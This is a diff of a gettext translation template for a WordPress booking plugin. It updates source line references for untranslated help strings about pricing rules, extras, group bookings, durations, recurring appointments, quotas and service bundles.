 
-#: includes/constant-data.php:1140 includes/constant-data.php:1163
+#: includes/constant-data.php:1160 includes/constant-data.php:1183
 msgid ""
 "If no rules match to the booking submission, regular price of the service "
 "will be valid."
 msgstr ""
 
-#: includes/constant-data.php:1151
+#: includes/constant-data.php:1171
 msgid ""
 "With <b>Flexible Price</b>, you can add as many records as you wish to "
 "override regular price of the service depending on selected date, day and "
@@ -15699,26 +16568,26 @@
 "record is called a <b>rule</b>."
 msgstr ""
 
-#: includes/constant-data.php:1152
+#: includes/constant-data.php:1172
 msgid ""
 "As you click \"Add New Rule\" button a new empty row will be inserted to the "
 "existing rules."
 msgstr ""
 
-#: includes/constant-data.php:1153
+#: includes/constant-data.php:1173
 msgid ""
 "Tick the \"Enable\" check box for price rules to be applied. If disabled, "
 "you can still create and edit rules, but they will NOT be taken into account "
 "when calculating service price. "
 msgstr ""
 
-#: includes/constant-data.php:1154
+#: includes/constant-data.php:1174
 msgid ""
 "<b>Price field:</b> determine the net price that will be applied to the "
 "sales price when the rule conditions are met"
 msgstr ""
 
-#: includes/constant-data.php:1155
+#: includes/constant-data.php:1175
 msgid ""
 "<b>For User Roles field:</b> defines to whom this rule will be applied. That "
 "is, clients having selected WP user role will be subject to the rule. You "
@@ -15727,7 +16596,7 @@
 "in users, but not for non logged in users, select all roles."
 msgstr ""
 
-#: includes/constant-data.php:1158
+#: includes/constant-data.php:1178
 msgid ""
 "<b>From, To Pax fields:</b> require Group Bookings addon activated and "
 "enabled for the service. They define range of seat/pax selection (including "
@@ -15736,39 +16605,39 @@
 "Pax field is taken as maximum possible value."
 msgstr ""
 
-#: includes/constant-data.php:1160
+#: includes/constant-data.php:1180
 msgid ""
 "New inserted record(s) will not be saved unless you fill in the price field "
 "and click \"Save Changes\" button on the page."
 msgstr ""
 
-#: includes/constant-data.php:1161
+#: includes/constant-data.php:1181
 msgid ""
 "To delete a rule, click the trash icon and then Save. Rules will be "
 "renumbered."
 msgstr ""
 
-#: includes/constant-data.php:1162
+#: includes/constant-data.php:1182
 msgid ""
 "If there are more than one rule matching to the booking submission, price "
 "will be determined by \"Price on Multi Match\" setting (Default: rule "
 "leading to lowest net price)."
 msgstr ""
 
-#: includes/constant-data.php:1164
+#: includes/constant-data.php:1184
 msgid ""
 "Flexible Price, is service specific subset of Custom Pricing. If you are "
 "already using Custom Pricing, you do not need to use Flexible Price feature."
 msgstr ""
 
-#: includes/constant-data.php:1175
+#: includes/constant-data.php:1195
 msgid ""
 "Extras can be additional equipment, material, facility or another service "
 "(called \"extra service\") in addition to the currently selected one which "
 "shall be offered to the client as an option on the confirmation form."
 msgstr ""
 
-#: includes/constant-data.php:1176
+#: includes/constant-data.php:1196
 msgid ""
 "Each row entered here is a different extra record which may be displayed as "
 "a pulldown menu selection option on the confirmation form depending on "
@@ -15777,14 +16646,14 @@
 "the record."
 msgstr ""
 
-#: includes/constant-data.php:1177
+#: includes/constant-data.php:1197
 msgid ""
 "Only extras which comply the requirements will be presented to the client on "
 "the front end. Therefore number of selectable options in the selection menu "
 "may vary for each booking."
 msgstr ""
 
-#: includes/constant-data.php:1178
+#: includes/constant-data.php:1198
 msgid ""
 "Using settings of the records, you can control the options to offer to the "
 "client, from the most simplest case (directly displaying all of the options "
@@ -15793,13 +16662,13 @@
 "times)."
 msgstr ""
 
-#: includes/constant-data.php:1179
+#: includes/constant-data.php:1199
 msgid ""
 "When client picks up an option from the pulldown menu, total price will be "
 "updated on the fly."
 msgstr ""
 
-#: includes/constant-data.php:1180
+#: includes/constant-data.php:1200
 msgid ""
 "When client submits the booking using this selection, it will be saved in "
 "the database, therefore you can review and make necessary arrangements based "
@@ -15807,7 +16676,7 @@
 "separate column on Bookings page using \"Screen Options\"."
 msgstr ""
 
-#: includes/constant-data.php:1181
+#: includes/constant-data.php:1201
 msgid ""
 "If you want to offer a product or unlisted service as an extra, use \"Add "
 "New Item as Extra\" button, if you want to offer an existing WP BASE service "
@@ -15815,7 +16684,7 @@
 "is allowed."
 msgstr ""
 
-#: includes/constant-data.php:1182
+#: includes/constant-data.php:1202
 msgid ""
 "Availability of extra services is checked against selected time slot, and "
 "unavailable services are not offered to the client. Please note that "
@@ -15825,7 +16694,7 @@
 "this as overbooking."
 msgstr ""
 
-#: includes/constant-data.php:1183
+#: includes/constant-data.php:1203
 msgid ""
 "Extra service should be different than the selected service. Tip: You can "
 "use Group Bookings addon if you want to allow booking for more than one "
@@ -15833,11 +16702,11 @@
 "with more than one providers."
 msgstr ""
 
-#: includes/constant-data.php:1184
+#: includes/constant-data.php:1204
 msgid "Extra service cannot be a service package."
 msgstr ""
 
-#: includes/constant-data.php:1185
+#: includes/constant-data.php:1205
 msgid ""
 "Duration of extra service is not added to the main service, but recorded as "
 "a separate booking starting from selected appointment time. For example, if "
@@ -15846,24 +16715,24 @@
 "main service."
 msgstr ""
 
-#: includes/constant-data.php:1186
+#: includes/constant-data.php:1206
 msgid ""
 "Upon successful submission, each extra service will create an appointment "
 "connected to (child of) the main appointment."
 msgstr ""
 
-#: includes/constant-data.php:1187
+#: includes/constant-data.php:1207
 msgid "As you click \"Add...\" button a new empty row will be inserted."
 msgstr ""
 
-#: includes/constant-data.php:1189
+#: includes/constant-data.php:1209
 msgid ""
 "<b>Name field:</b> is the display name of the option which will be used in "
 "the pulldown menu on the confirmation form. Name field is always required to "
 "save a record."
 msgstr ""
 
-#: includes/constant-data.php:1190
+#: includes/constant-data.php:1210
 msgid ""
 "<b>+Price field:</b> is the <b>additional price</b> that will be added to "
 "the regular price in case this extra is selected. It can be empty (zero "
@@ -15871,7 +16740,7 @@
 "leads to less cost for you."
 msgstr ""
 
-#: includes/constant-data.php:1191
+#: includes/constant-data.php:1211
 msgid ""
 "<b>Connected Post:</b> is an optional page that may be used to explain scope "
 "of supply of the extra. If this page has a WP post excerpt it will be used. "
@@ -15883,7 +16752,7 @@
 "Advanced &rarr; Admin settings (Advanced Features addon is required). "
 msgstr ""
 
-#: includes/constant-data.php:1192
+#: includes/constant-data.php:1212
 msgid ""
 "<b>Applies to field:</b> defines for which services and/or provider "
 "selection(s) this option will be displayed. Multiple selection is possible. "
@@ -15892,7 +16761,7 @@
 "option will always be available."
 msgstr ""
 
-#: includes/constant-data.php:1193
+#: includes/constant-data.php:1213
 msgid ""
 "<b>With match field:</b> defines how multiple selections of \"applies to\" "
 "setting will be handled. \"Any match\" will result in the option to be "
@@ -15909,7 +16778,7 @@
 "settings except \"applies to\" is \"Sample Service, SP B\"."
 msgstr ""
 
-#: includes/constant-data.php:1194
+#: includes/constant-data.php:1214
 msgid ""
 "<b>For users field:</b> defines to whom this option will be displayed. That "
 "is, clients having selected WP user role will be eligible to view and select "
@@ -15920,7 +16789,7 @@
 "offer role specific options to your members."
 msgstr ""
 
-#: includes/constant-data.php:1195
+#: includes/constant-data.php:1215
 msgid ""
 "<b>Valid for field:</b> defines what type of date selections will make this "
 "option visible. \"Fixed range\" will make the option visible for "
@@ -15932,7 +16801,7 @@
 "setting will make date limitation void and date/time fields will be hidden."
 msgstr ""
 
-#: includes/constant-data.php:1196
+#: includes/constant-data.php:1216
 msgid ""
 "<b>From, To fields:</b> define time range of the appointment for which "
 "option is visible. Selected values are included in the range, e.g. 10:00 "
@@ -15944,24 +16813,24 @@
 "the appointment submission is made for, NOT time of the submission."
 msgstr ""
 
-#: includes/constant-data.php:1197
+#: includes/constant-data.php:1217
 msgid ""
 "You can add as many records (extras) as you wish and they will only be saved "
 "after you hit Save Records button."
 msgstr ""
 
-#: includes/constant-data.php:1198
+#: includes/constant-data.php:1218
 msgid ""
 "New inserted record(s) will not be saved unless you fill in the \"Name\" "
 "field and click \"Save Extras\" button (Save button is only visible if there "
 "is at least one record added)."
 msgstr ""
 
-#: includes/constant-data.php:1199
+#: includes/constant-data.php:1219
 msgid "To delete a record empty \"Name\" field and Save."
 msgstr ""
 
-#: includes/constant-data.php:1200
+#: includes/constant-data.php:1220
 msgid ""
 "A record becomes inactive if selected dates are impossible to apply, for "
 "example From value is later than To value (Equal From and To values do not "
@@ -15969,73 +16838,73 @@
 "shown faded and they are not visible as option on the front end in any case."
 msgstr ""
 
-#: includes/constant-data.php:1201
+#: includes/constant-data.php:1221
 msgid ""
 "If no records match to the booking submission, select extras pulldown menu "
 "will not be displayed to the client."
 msgstr ""
 
-#: includes/constant-data.php:1202
+#: includes/constant-data.php:1222
 msgid ""
 "Sorting: Extras are displayed in the order as displayed in the list. To "
 "change the sort order, select the row with your mouse and move the complete "
 "row to the new position (drag and drop) and then click Save."
 msgstr ""
 
-#: includes/constant-data.php:1213
+#: includes/constant-data.php:1233
 #, php-format
 msgid ""
 "Group Bookings addon allows your clients book for more than one person/seat "
 "(also called %s) for the service for any time slot."
 msgstr ""
 
-#: includes/constant-data.php:1213
+#: includes/constant-data.php:1233
 msgid "pax"
 msgstr ""
 
-#: includes/constant-data.php:1214
+#: includes/constant-data.php:1234
 msgid ""
 "In order to work, capacity of the service should be greater than 1, set "
 "either by number of service providers or by manual capacity setting."
 msgstr ""
 
-#: includes/constant-data.php:1215
+#: includes/constant-data.php:1235
 msgid "To activate Group Bookings for a service, click <b>Enable</b> checkbox."
 msgstr ""
 
-#: includes/constant-data.php:1216
+#: includes/constant-data.php:1236
 msgid ""
 "When minimum value is entered, client cannot apply for less than this "
 "number. If left empty, minimum selection will be taken as 1."
 msgstr ""
 
-#: includes/constant-data.php:1217
+#: includes/constant-data.php:1237
 msgid ""
 "When maximum value is entered, client cannot apply for greater than this "
 "number. If left empty or set higher than capacity of the service, maximum "
 "selection will be set to capacity value."
 msgstr ""
 
-#: includes/constant-data.php:1218
+#: includes/constant-data.php:1238
 msgid ""
 "\"Slot closed from pax\" defines number of booked pax/seats after which slot "
 "will be regarded as busy. If you want to serve a single group, set this "
 "field equal to minimum selectable."
 msgstr ""
 
-#: includes/constant-data.php:1219
+#: includes/constant-data.php:1239
 msgid ""
 "While entering minimum and maximum selection values are optional, they can "
 "be set to the same number, e.g. to sell a fixed number of seats."
 msgstr ""
 
-#: includes/constant-data.php:1220
+#: includes/constant-data.php:1240
 msgid ""
 "You can select to ask participants' details on the confirmation form by "
 "<b>participant fields</b> settings."
 msgstr ""
 
-#: includes/constant-data.php:1221
+#: includes/constant-data.php:1241
 msgid ""
 "Name, email, phone and address of the participants may be selected to be "
 "filled separately. \"No\" means that field will not be displayed. "
@@ -16044,7 +16913,7 @@
 "submitted."
 msgstr ""
 
-#: includes/constant-data.php:1222
+#: includes/constant-data.php:1242
 msgid ""
 "If enabled for the current service, <code>[app_book]</code> will "
 "automatically add a selection dropdown menu after service selection menu. A "
@@ -16052,33 +16921,33 @@
 "this menu in case of modular shortcodes."
 msgstr ""
 
-#: includes/constant-data.php:1223
+#: includes/constant-data.php:1243
 msgid ""
 "When group bookings is enabled for a service, a \"G\" will be seen on top-"
 "right of service ID in the List of Services."
 msgstr ""
 
-#: includes/constant-data.php:1224
+#: includes/constant-data.php:1244
 msgid ""
 "When client makes a new pax selection, Booking Views will be automatically "
 "updated and free slots will be displayed based on the new pax selection and "
 "actual available space. Price will be calculated as regular price times pax."
 msgstr ""
 
-#: includes/constant-data.php:1225
+#: includes/constant-data.php:1245
 msgid ""
 "When client checks out, a single booking will be created with the submitted "
 "pax. This value can be manually changed on admin Bookings page, if required."
 msgstr ""
 
-#: includes/constant-data.php:1226
+#: includes/constant-data.php:1246
 msgid ""
 "Group Bookings can be used in combination with any other addon. For example "
 "when used in combination with Shopping Cart, client can select pax for each "
 "item separately."
 msgstr ""
 
-#: includes/constant-data.php:1227
+#: includes/constant-data.php:1247
 msgid ""
 "<b>Person Types</b> are optional. When you don't define any person types on "
 "the front end client selects \"number of guests\". When you define person "
@@ -16086,37 +16955,37 @@
 "number for each person type."
 msgstr ""
 
-#: includes/constant-data.php:1228
+#: includes/constant-data.php:1248
 msgid ""
 "Total pax is calculated from submitted person type selection times <b>pax "
 "value</b>. For example, for a \"Couples\" person type you can set pax value "
 "as 2."
 msgstr ""
 
-#: includes/constant-data.php:1229
+#: includes/constant-data.php:1249
 msgid ""
 "Pax value can be zero for person types that do not take space, but to be "
 "charged to the client, for example \"infants\" or \"pets\"."
 msgstr ""
 
-#: includes/constant-data.php:1230
+#: includes/constant-data.php:1250
 #, php-format
 msgid ""
 "Format of person types displayed in confirmation form, dialogs and emails "
 "can be set at %s."
 msgstr ""
 
-#: includes/constant-data.php:1241
+#: includes/constant-data.php:1261
 msgid ""
 "You can optionally add as many User Defined Fields (UDF) as you wish. Then "
 "these UDFs can be used in the confirmation form."
 msgstr ""
 
-#: includes/constant-data.php:1242
+#: includes/constant-data.php:1262
 msgid "As you click \"Add New UDF\" button a new empty row will be inserted."
 msgstr ""
 
-#: includes/constant-data.php:1243
+#: includes/constant-data.php:1263
 msgid ""
 "<b>ID field:</b> is automatically given by the system and it is unique. You "
 "can use this ID in other settings to evaluate submitted values. For example, "
@@ -16124,14 +16993,14 @@
 "with ID=1 submitted by the client."
 msgstr ""
 
-#: includes/constant-data.php:1244
+#: includes/constant-data.php:1264
 msgid ""
 "<b>Name field:</b> You can use anything as the UDF name here, but it is "
 "recommended to be unique if you plan to call it in your customization codes "
 "using the name, instead of ID."
 msgstr ""
 
-#: includes/constant-data.php:1245
+#: includes/constant-data.php:1265
 msgid ""
 "<b>Type field:</b> Select type of the form field. In addition to standard "
 "HTML fields (text, text area, pulldown menu, checkbox) the following "
@@ -16143,7 +17012,7 @@
 "This field is not displayed at the front end in desktop devices."
 msgstr ""
 
-#: includes/constant-data.php:1246
+#: includes/constant-data.php:1266
 msgid ""
 "<b>Front End field:</b> UDFs marked as Front End will be displayed in the "
 "confirmation form. Note: If a UDF is specifically selected in an attribute "
@@ -16151,26 +17020,26 @@
 "visible regardless of this setting."
 msgstr ""
 
-#: includes/constant-data.php:1247
+#: includes/constant-data.php:1267
 msgid ""
 "<b>Required field:</b> Check the checkbox if you want to set filling of the "
 "field as mandatory. If a field is set as required and it is visible, client "
 "will get a warning message if he submits the field empty."
 msgstr ""
 
-#: includes/constant-data.php:1248
+#: includes/constant-data.php:1268
 msgid ""
 "<b>Editable field:</b> Check the checkbox if you want to allow users edit "
 "this field value in their profile pages or in Front End Edit popup."
 msgstr ""
 
-#: includes/constant-data.php:1249
+#: includes/constant-data.php:1269
 msgid ""
 "<b>Register (Registration) field:</b> Requires Marketplace addon. Check the "
 "checkbox if you want this field to be included in vendor registration form."
 msgstr ""
 
-#: includes/constant-data.php:1250
+#: includes/constant-data.php:1270
 msgid ""
 "<b>Options field:</b> 1) For text, textarea and phone fields, this is the "
 "placeholder value. 2) For pulldown menu, values separated by commas will be "
@@ -16188,26 +17057,26 @@
 "empty html is outputted."
 msgstr ""
 
-#: includes/constant-data.php:1251
+#: includes/constant-data.php:1271
 msgid ""
 "You can add as many records (fields) as you wish and they will only be saved "
 "after you hit Save UDF button."
 msgstr ""
 
-#: includes/constant-data.php:1252
+#: includes/constant-data.php:1272
 msgid ""
 "New inserted field(s) will not be saved unless you fill in the name field "
 "and click \"Save UDFs\" button (Save button is only visible if there is at "
 "least one record added)."
 msgstr ""
 
-#: includes/constant-data.php:1253
+#: includes/constant-data.php:1273
 msgid ""
 "The inserted field will be visible in appointments records and you can edit "
 "submitted values for each appointment there."
 msgstr ""
 
-#: includes/constant-data.php:1255
+#: includes/constant-data.php:1275
 msgid ""
 "<b>Sorting:</b> On front end items are displayed according to the order "
 "here, as default. To make a custom sorting, select the row with your mouse "
@@ -16218,13 +17087,13 @@
 "fields on the form in the order as they are written: name, udf_3 and udf_1."
 msgstr ""
 
-#: includes/constant-data.php:1266
+#: includes/constant-data.php:1286
 msgid ""
 "Selectable Durations allow your clients pick desired duration of service on "
 "the front end by a pull down menu."
 msgstr ""
 
-#: includes/constant-data.php:1267
+#: includes/constant-data.php:1287
 #, php-format
 msgid ""
 "This menu is automatically displayed by <code>[app_book]</code>. If you are "
@@ -16234,11 +17103,11 @@
 "shortcodes see %s."
 msgstr ""
 
-#: includes/constant-data.php:1267
+#: includes/constant-data.php:1287
 msgid "related help page"
 msgstr ""
 
-#: includes/constant-data.php:1268
+#: includes/constant-data.php:1288
 #, php-format
 msgid ""
 "You can limit which durations are selectable on the front end using the "
@@ -16249,7 +17118,7 @@
 "base."
 msgstr ""
 
-#: includes/constant-data.php:1269
+#: includes/constant-data.php:1289
 msgid ""
 "To activate the selectable durations feature for a particular service, check "
 "the \"Enable\" checkbox and select at least 2 durations. It is allowed, but "
@@ -16258,14 +17127,14 @@
 "this value may be confusing."
 msgstr ""
 
-#: includes/constant-data.php:1270
+#: includes/constant-data.php:1290
 msgid ""
 "If you want service price to be fixed at regular price regardless of "
 "selected duration, select \"Calculate price from\" field as \"Unit price\" "
 "and leave \"Unit price\" field as empty."
 msgstr ""
 
-#: includes/constant-data.php:1271
+#: includes/constant-data.php:1291
 msgid ""
 "If you want to apply service price based on duration selection, you have two "
 "options with \"Calculate price from\" setting: a) \"Unit price\" selection "
@@ -16274,37 +17143,37 @@
 "each individual duration."
 msgstr ""
 
-#: includes/constant-data.php:1272
+#: includes/constant-data.php:1292
 msgid ""
 "If you set a unit price, regular price of the service will also be matched "
 "to this value. For example, for a 30 minutes service if you enter $100 as "
 "unit price, regular price will be automatically set to $50."
 msgstr ""
 
-#: includes/constant-data.php:1273
+#: includes/constant-data.php:1293
 msgid "Unit price is also effective for Time Variant durations."
 msgstr ""
 
-#: includes/constant-data.php:1274
+#: includes/constant-data.php:1294
 msgid ""
 "If both Selectable Durations and Time Variant Durations are enabled, for "
 "overlapping time slots the latter one has priority."
 msgstr ""
 
-#: includes/constant-data.php:1275
+#: includes/constant-data.php:1295
 msgid ""
 "Selectable Durations and Recurring Appointments can be used in combination. "
 "For example, client can select 1, 2 or 4 hours of a service recurring every "
 "week for 1 to 8 weeks."
 msgstr ""
 
-#: includes/constant-data.php:1276 includes/constant-data.php:1413
+#: includes/constant-data.php:1296 includes/constant-data.php:1433
 msgid ""
 "Selectable duration is not possible for bundles. If Service Bundles is "
 "active, durations cannot be selected on the front end."
 msgstr ""
 
-#: includes/constant-data.php:1287
+#: includes/constant-data.php:1307
 msgid ""
 "Time and SP Variant Durations allow you preset different service durations "
 "for different week days and times. For example you can set a service to last "
@@ -16312,27 +17181,27 @@
 "afternoons."
 msgstr ""
 
-#: includes/constant-data.php:1288
+#: includes/constant-data.php:1308
 msgid ""
 "It is also possible to set different durations for different service "
 "providers, for example if a particular service provider is slower than the "
 "others."
 msgstr ""
 
-#: includes/constant-data.php:1289
+#: includes/constant-data.php:1309
 msgid ""
 "The regular duration of the service is overridden if a row of settings "
 "(called a \"rule\") matches with the selected service provider and date/time."
 msgstr ""
 
-#: includes/constant-data.php:1290
+#: includes/constant-data.php:1310
 msgid ""
 "To activate the selectable durations feature for a particular service, check "
 "the \"Enable\" checkbox and add at least one rule by clicking \"Add Rule\" "
 "button."
 msgstr ""
 
-#: includes/constant-data.php:1291
+#: includes/constant-data.php:1311
 msgid ""
 "In the inserted new row, select the desired new duration, service provider, "
 "week day and time for which rule will be effective. Selected from/to values "
@@ -16341,26 +17210,26 @@
 "of the slot."
 msgstr ""
 
-#: includes/constant-data.php:1292
+#: includes/constant-data.php:1312
 msgid ""
 "If you have the same rule for multiple days of the week, simply add a rule "
 "for each day."
 msgstr ""
 
-#: includes/constant-data.php:1293
+#: includes/constant-data.php:1313
 msgid ""
 "In case there are more than one matching rules, you can select the rule to "
 "be applied: First match, last match, min duration, max duration and regular "
 "duration."
 msgstr ""
 
-#: includes/constant-data.php:1294
+#: includes/constant-data.php:1314
 msgid ""
 "You can custom sort the rules by selecting the rule row with mouse and move "
 "it to the selected position."
 msgstr ""
 
-#: includes/constant-data.php:1295
+#: includes/constant-data.php:1315
 msgid ""
 "If you want to apply service price based on duration of the service, fill in "
 "the Unit Price field in Selectable Durations part. If you leave this field "
@@ -16368,13 +17237,13 @@
 "selected duration."
 msgstr ""
 
-#: includes/constant-data.php:1296
+#: includes/constant-data.php:1316
 msgid ""
 "If both Selectable Durations and Time Variant Durations are enabled, the "
 "latter one has priority provided that at least a rule matches."
 msgstr ""
 
-#: includes/constant-data.php:1297 includes/constant-data.php:1316
+#: includes/constant-data.php:1317 includes/constant-data.php:1336
 msgid ""
 "Time & SP Variant Durations and Recurring Appointments can be used in "
 "combination. For example if a 2 hours training is set to be 4 hours at the "
@@ -16383,7 +17252,7 @@
 "from unit price."
 msgstr ""
 
-#: includes/constant-data.php:1298
+#: includes/constant-data.php:1318
 msgid ""
 "Time & SP Variant Durations selection is not meaningful for a package, "
 "because the duration of a package is determined by its jobs. You can use "
@@ -16396,21 +17265,21 @@
 "minutes, not 120."
 msgstr ""
 
-#: includes/constant-data.php:1309
+#: includes/constant-data.php:1329
 msgid ""
 "Recurring Appointments addon allows your clients pick number of repeats of "
 "service on the front end by two pull down menus (Number of repeats and "
 "recurrence frequency)."
 msgstr ""
 
-#: includes/constant-data.php:1310
+#: includes/constant-data.php:1330
 msgid ""
 "You can select which recurrence frequencies (called repeat units), are "
 "available to the client on the front end e.g. daily, weekly, monthly. To do "
 "so, select desired repeat units by checking <b>Allow</b> checkbox."
 msgstr ""
 
-#: includes/constant-data.php:1311
+#: includes/constant-data.php:1331
 #, php-format
 msgid ""
 "You can also select maximum number of repeats for each repeat unit by "
@@ -16420,7 +17289,7 @@
 "8."
 msgstr ""
 
-#: includes/constant-data.php:1312
+#: includes/constant-data.php:1332
 msgid ""
 "There are 4 monthly modes each having different behaviour. <u>Choose only "
 "one of them</u>. When client attempts to pick 31st of January (2025) for 4 "
@@ -16438,14 +17307,14 @@
 "the other way around."
 msgstr ""
 
-#: includes/constant-data.php:1313
+#: includes/constant-data.php:1333
 msgid ""
 "To activate recurring feature of a service, <b>Enabled</b> checkbox should "
 "be checked and at least one repeat unit should be marked as \"Allow\". Max "
 "fields can be left empty."
 msgstr ""
 
-#: includes/constant-data.php:1314
+#: includes/constant-data.php:1334
 msgid ""
 "One of the cool features of the addon is customizing front end selection "
 "menu using <b>View of the menu</b> field. REPEAT_UNIT and REPEAT "
@@ -16459,20 +17328,20 @@
 "there is only one allowed repeat unit."
 msgstr ""
 
-#: includes/constant-data.php:1315
+#: includes/constant-data.php:1335
 msgid ""
 "When a service is enabled and correctly configured as recurring, a \"R\" "
 "will be seen on top-right of service ID in the List of Services."
 msgstr ""
 
-#: includes/constant-data.php:1317
+#: includes/constant-data.php:1337
 msgid ""
 "Recurring Appointments and Selectable Durations can be used in combination. "
 "For example, client can select 1, 2 or 4 hours of a service recurring every "
 "week for 1 to 8 weeks (numbers are arbitrary)."
 msgstr ""
 
-#: includes/constant-data.php:1318
+#: includes/constant-data.php:1338
 msgid ""
 "Recurring Appointments and Service Bundles can be used in combination. For "
 "an example see Service Bundles addon. Please note that both addons require "
@@ -16486,28 +17355,28 @@
 "consider using \"Book Now Single Button\" instead of calendar view."
 msgstr ""
 
-#: includes/constant-data.php:1319
+#: includes/constant-data.php:1339
 msgid ""
 "You may consider using Shopping Cart in combination with Recurring "
 "Appointments. Then your client can remove unsuitable time slots on the "
 "confirmation form and add preferred ones."
 msgstr ""
 
-#: includes/constant-data.php:1330
+#: includes/constant-data.php:1350
 msgid ""
 "Extended Service Features addon extends existing functionality and adds new "
 "ones to services. As a part of it, in Limits area you can \"fine tune\" "
 "settings for various limits per service."
 msgstr ""
 
-#: includes/constant-data.php:1331
+#: includes/constant-data.php:1351
 msgid ""
 "Limits for booking, cancelling and editing are already available globally, "
 "which means there is only one setting for each limit which is valid for all "
 "services."
 msgstr ""
 
-#: includes/constant-data.php:1332
+#: includes/constant-data.php:1352
 msgid ""
 "Settings here, however, allow to define every one of them individually and "
 "more precisely (in minutes instead of hours) for each service. If you leave "
@@ -16516,13 +17385,13 @@
 "setting with zero for that service."
 msgstr ""
 
-#: includes/constant-data.php:1333
+#: includes/constant-data.php:1353
 msgid ""
 "These settings also allow you to set different limits for weekday (Monday to "
 "Friday), weekends (Saturday and Sunday) and for definable special days."
 msgstr ""
 
-#: includes/constant-data.php:1334
+#: includes/constant-data.php:1354
 msgid ""
 "For Lower Limit, Editing Limit and Cancellation Limit, the day here "
 "corresponds to the day that that appointment starts. In case of Upper Limit, "
@@ -16532,7 +17401,7 @@
 "to close booking *on* (not *for*) certain dates."
 msgstr ""
 
-#: includes/constant-data.php:1335
+#: includes/constant-data.php:1355
 msgid ""
 "Special Days can be defined in its tab by clicking \"Special Days\" link in "
 "the settings or by directly clicking the tab. Simply select your special "
@@ -16540,52 +17409,52 @@
 "following years."
 msgstr ""
 
-#: includes/constant-data.php:1336
+#: includes/constant-data.php:1356
 msgid ""
 "Special Days are used in common with Quotas addon. Special days defined here "
 "are valid for both addons."
 msgstr ""
 
-#: includes/constant-data.php:1337
+#: includes/constant-data.php:1357
 msgid ""
 "<b>Lower limit</b> (also called lead time) is the minimum time between start "
 "of the appointment and submission time to book for it."
 msgstr ""
 
-#: includes/constant-data.php:1338
+#: includes/constant-data.php:1358
 msgid ""
 "<b>Upper limit</b> is the number of days that a client can apply for an "
 "appointment in advance, counted from submission date."
 msgstr ""
 
-#: includes/constant-data.php:1339
+#: includes/constant-data.php:1359
 msgid ""
 "<b>Editing limit</b> is used in conjunction with Front End Edit addon and it "
 "is the minimum time between start of the appointment and start and finish "
 "editing."
 msgstr ""
 
-#: includes/constant-data.php:1340
+#: includes/constant-data.php:1360
 msgid ""
 "<b>Cancellation limit</b> is the minimum time between start of the "
 "appointment and attempt to cancel a booking."
 msgstr ""
 
-#: includes/constant-data.php:1351
+#: includes/constant-data.php:1371
 msgid ""
 "<b>Service Properties</b> tab displays service creation data, owner (author) "
 "and allows admin to set service description and image to be displayed in "
 "Service Selection Slider or Service Selection Menu tooltips."
 msgstr ""
 
-#: includes/constant-data.php:1352
+#: includes/constant-data.php:1372
 msgid ""
 "<b>Owner</b> determines the provider who can edit and delete the service. "
 "When provider creates a service, he/she is automatically added here. Then "
 "admin can change/remove the provider or add new ones."
 msgstr ""
 
-#: includes/constant-data.php:1354
+#: includes/constant-data.php:1374
 msgid ""
 "<b>Description and Featured Image</b> are used when no Connected Post is "
 "defined. If there is a Connected Post, then description is taken from post "
@@ -16594,12 +17463,12 @@
 "specifically selected for."
 msgstr ""
 
-#: includes/constant-data.php:1355
+#: includes/constant-data.php:1375
 #, php-format
 msgid "Admin can hide this tab by setting %s as No, so providers cannot edit."
 msgstr ""
 
-#: includes/constant-data.php:1366
+#: includes/constant-data.php:1386
 msgid ""
 "Quotas addon allows you to limit number of bookings of logged-in clients for "
 "each service for certain time intervals, namely for weekdays (Monday to "
@@ -16608,7 +17477,7 @@
 "bookings of the clients in those intervals."
 msgstr ""
 
-#: includes/constant-data.php:1367
+#: includes/constant-data.php:1387
 msgid ""
 "To activate Quotas, simply enter quotas (number of bookings limit) in the "
 "related fields of the service which are visible when you click the \"More\" "
@@ -16616,7 +17485,7 @@
 "limitation for that interval."
 msgstr ""
 
-#: includes/constant-data.php:1368
+#: includes/constant-data.php:1388
 msgid ""
 "While checking if quotas are full or not, previous bookings are queried for "
 "appointment start times, but not for the submission date/times. Quotas addon "
@@ -16624,7 +17493,7 @@
 "appointments."
 msgstr ""
 
-#: includes/constant-data.php:1369
+#: includes/constant-data.php:1389
 msgid ""
 "Each interval is evaluated separately and none of the quotas must be reached "
 "or exceeded to make that time interval available to the client. For example, "
@@ -16636,7 +17505,7 @@
 "also be blocked although there is no special quota setting for weekends)."
 msgstr ""
 
-#: includes/constant-data.php:1370
+#: includes/constant-data.php:1390
 msgid ""
 "Special Days can be defined in its tab by clicking the \"Special Days\" link "
 "in the settings or by directly clicking the tab. Simply select your special "
@@ -16646,13 +17515,13 @@
 "client books for 14th of February, he can still book for 31st of December."
 msgstr ""
 
-#: includes/constant-data.php:1371
+#: includes/constant-data.php:1391
 msgid ""
 "Special Days are used in common with Extended Service Features addon. "
 "Special days defined here are applied to both addons."
 msgstr ""
 
-#: includes/constant-data.php:1372
+#: includes/constant-data.php:1392
 msgid ""
 "Except for Total Upcoming case, booking statuses used in quota evaluation "
 "are \"upcoming\" (pending, paid, confirmed), \"running now\" and "
@@ -16665,7 +17534,7 @@
 "way, and so on."
 msgstr ""
 
-#: includes/constant-data.php:1373
+#: includes/constant-data.php:1393
 msgid ""
 "Total Upcoming setting defines the limit for total number of upcoming "
 "(pending, paid, confirmed), in other words, open bookings. This can be "
@@ -16673,27 +17542,27 @@
 "time, say 1 year."
 msgstr ""
 
-#: includes/constant-data.php:1374
+#: includes/constant-data.php:1394
 msgid ""
 "To modify booking statuses used in quotas and thus changing the above "
 "explained bahaviour, two different filter hooks are also provided."
 msgstr ""
 
-#: includes/constant-data.php:1375
+#: includes/constant-data.php:1395
 #, php-format
 msgid ""
 "Note that quotas only work for logged in clients. Therefore you may want to "
 "set logging in mandatory by adjusting %s as Yes."
 msgstr ""
 
-#: includes/constant-data.php:1376
+#: includes/constant-data.php:1396
 msgid ""
 "As the main idea of quotas is managing limited resources, in this case which "
 "is services and service providers whose working hours are saved based on "
 "server timezone, client timezone is not taken into account."
 msgstr ""
 
-#: includes/constant-data.php:1387
+#: includes/constant-data.php:1407
 msgid ""
 "Service Bundles (formerly Packages) Addon allows you to combine <b>two or "
 "more services</b> (each of them is called a <b>job</b>) and sell them as if "
@@ -16701,14 +17570,14 @@
 "cut and manicure services."
 msgstr ""
 
-#: includes/constant-data.php:1388
+#: includes/constant-data.php:1408
 msgid ""
 "Jobs can start at the same time, can be back-to-back or separated with "
 "preselected time in minutes or days. To do so, a <b>delay</b> setting is "
 "provided for each job that will be used to wait for the next job to start."
 msgstr ""
 
-#: includes/constant-data.php:1389
+#: includes/constant-data.php:1409
 msgid ""
